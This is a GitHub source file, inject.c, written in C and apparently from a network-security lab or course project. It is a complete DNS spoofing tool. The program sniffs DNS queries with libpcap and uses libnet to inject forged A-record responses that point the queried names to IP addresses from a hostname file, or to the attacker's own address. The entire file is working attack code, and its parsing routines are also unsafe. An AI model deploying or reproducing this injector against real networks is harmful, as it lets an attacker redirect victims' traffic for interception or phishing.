-
Notifications
You must be signed in to change notification settings - Fork 0
/
inject.c
executable file
·231 lines (195 loc) · 5.47 KB
/
inject.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#include "header.h"
char ip[100][16];
char hostnames[100][128];
int hostname_count = 0;
char *interface = NULL;
u_int32_t lIP = -1;
libnet_t *context;
char errbuf[LIBNET_ERRBUF_SIZE];
void readHostnameFile(char *filename) {
int i = 0;
char line[256];
char ret[256];
FILE *fd = fopen(filename, "r");
if (fd == NULL) {
fprintf(stderr, "Hostname file name incorrect");
exit(EXIT_FAILURE);
} else {
while (fgets(line, sizeof(line), fd) != NULL && strlen(line) > 1) {
char *token = strtok(line, " ");
while (token) {
strcpy (ip[i], token);
token = strtok(NULL, " ");
token[strlen(token)-1] = '\0';
strcpy(hostnames[i],token);
token = strtok(NULL, " ");
// fprintf(stderr, "%s %s", ip[i], hostnames[i]);
hostname_count += 1;
i++;
}
}
}
fclose(fd);
}
in_addr_t check_hostnames(char *hostname) {
int i = 0;
if (hostname_count > 0) {
for (i = 0; i < hostname_count; i++) {
if (strcmp(hostnames[i], hostname) == 0) {
//fprintf(stderr, "Found\n");
return inet_addr(ip[i]);
}
}
} else {
return -1;
}
if (i == hostname_count)
return -1;
}
void setLocalIP(char *interface) {
if ((context = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) {
fprintf(stderr, "Libnet init failed");
return;
}
if ((lIP = libnet_get_ipaddr4(context)) == -1) {
fprintf(stderr, "Getting local IP error");
return;
}
libnet_destroy(context);
}
void handler(u_char *usrarg, const struct pcap_pkthdr* pkthdr, const u_char *packet) {
const struct ethhdr *eptr = (struct ethhdr*)(packet);
if (ntohs(eptr->h_proto) != ETHERTYPE_IP) {
return;
}
const struct ip *ip = (struct ip*) (packet + SIZE_ETHERNET);
if ((ip->ip_hl)*4 < 20) {
return;
}
if (ip->ip_p != IPPROTO_UDP) {
return;
}
struct udphdr *udp;
udp = (struct udphdr *) (packet + SIZE_ETHERNET + IP_HEADER_SIZE);
if (ntohs(udp->dest) != 53) {
return;
}
struct dnshdr *dns;
dns = (struct dnshdr *) (packet + SIZE_ETHERNET + IP_HEADER_SIZE + UDP_HEADER_SIZE);
if (dns->opcode != QUERY) {
return;
}
//fprintf(stderr, "Id: %d %d", dns->id, ntohs(dns->id));
char *dns_payload = (char *) (packet + SIZE_ETHERNET + IP_HEADER_SIZE + UDP_HEADER_SIZE + DNS_HEADER_SIZE);
int payload_size = strlen(dns_payload);
char hostname[128];
if (dn_expand((u_char *)dns, (u_char *)(packet + pkthdr->caplen), dns_payload, hostname, sizeof(hostname)) < 0) {
return;
}
hostname[payload_size-1] = '\0';
//fprintf(stderr, "Hostname: %s\n", hostname);
int type = (int)*(dns_payload + payload_size + 2);
if (type != T_A) {
return;
}
int i;
u_int32_t localIP = -1;
if (hostname_count == 0 || (localIP = check_hostnames(hostname)) == -1) {
localIP = lIP;
}
u_char response[512];
memcpy(response, dns_payload, payload_size + 5);
memcpy(response + payload_size + 5,"\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x04\x00\x04", 12);
*((u_long *)(response + payload_size + 17)) = localIP;
int response_size = payload_size + 21;
int packetSize = LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DNS_H + response_size;
if ((context = libnet_init(LIBNET_RAW4, interface, errbuf)) == NULL) {
fprintf(stderr, "Libnet init error");
return;
}
if (libnet_build_dnsv4(LIBNET_DNS_H, ntohs((short)dns->id), 0x8580, 1, 1, 0, 0, response, response_size, context, 0) == -1) {
fprintf(stderr, "dns build failed");
return;
}
if (libnet_build_udp(ntohs(udp->dest), ntohs(udp->source), packetSize - LIBNET_IPV4_H, 0, NULL, 0, context, 0) == -1) {
fprintf(stderr, "udp build failed");
return;
}
if (libnet_build_ipv4(packetSize, 0, 8964, 0, 64, IPPROTO_UDP, 0, ip->ip_dst.s_addr, ip->ip_src.s_addr, NULL, 0, context, 0) == -1) {
fprintf(stderr, "ipv4 build failed");
return;
}
if (libnet_write(context) == -1) {
fprintf(stderr, "Write failed");
return;
}
libnet_destroy(context);
}
int main(int argc, char **argv) {
int param = 1;
char expr[256] = "", *hostname = NULL;
char *dev;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *handle;
struct bpf_program fp;
bpf_u_int32 mask;
bpf_u_int32 net;
if (argc > 1) {
for (int j =1; j < argc; j=j+2) {
if (strcmp(argv[j], "-i") == 0){
interface = argv[j+1];
param += 2;
// printf("interface found %s\n", interface);
} else if (strcmp(argv[j], "-h") == 0) {
param += 2;
hostname = argv[j+1];
// printf("filename: %s\n",hostname);
}
}
if (param < argc) {
while (argc != param) {
strcat(expr, argv[param]);
strcat(expr, " ");
param += 1;
}
// printf("Expression: %s\n",expr);
}
}
if (hostname != NULL) {
readHostnameFile(hostname);
}
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, "Couldn't find device: %s\n", errbuf);
return -1;
}
//printf("Dev: %s", dev);
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
fprintf(stderr, "Couldn't get net mask for device %s: %s\n", dev, errbuf);
net = 0;
mask = 0;
}
if (interface != NULL)
handle = pcap_open_live(interface, 65535, 1, 1000, errbuf);
else {
interface = dev;
handle = pcap_open_live(dev, 65535, 1, 1000, errbuf);
}
if (handle == NULL) {
fprintf(stderr, "Couldn't open device: %s\n", errbuf);
return -1;
}
if (expr != NULL && pcap_compile(handle, &fp, expr, 0, net) == -1){
fprintf(stderr, "Filter complie error %s\n", pcap_geterr(handle));
return -1;
}
if (expr != NULL && pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Set filter error %s\n", pcap_geterr(handle));
return -1;
}
setLocalIP(interface);
pcap_loop(handle, -1, handler, hostname);
pcap_freecode(&fp);
pcap_close(handle);
return 0;
}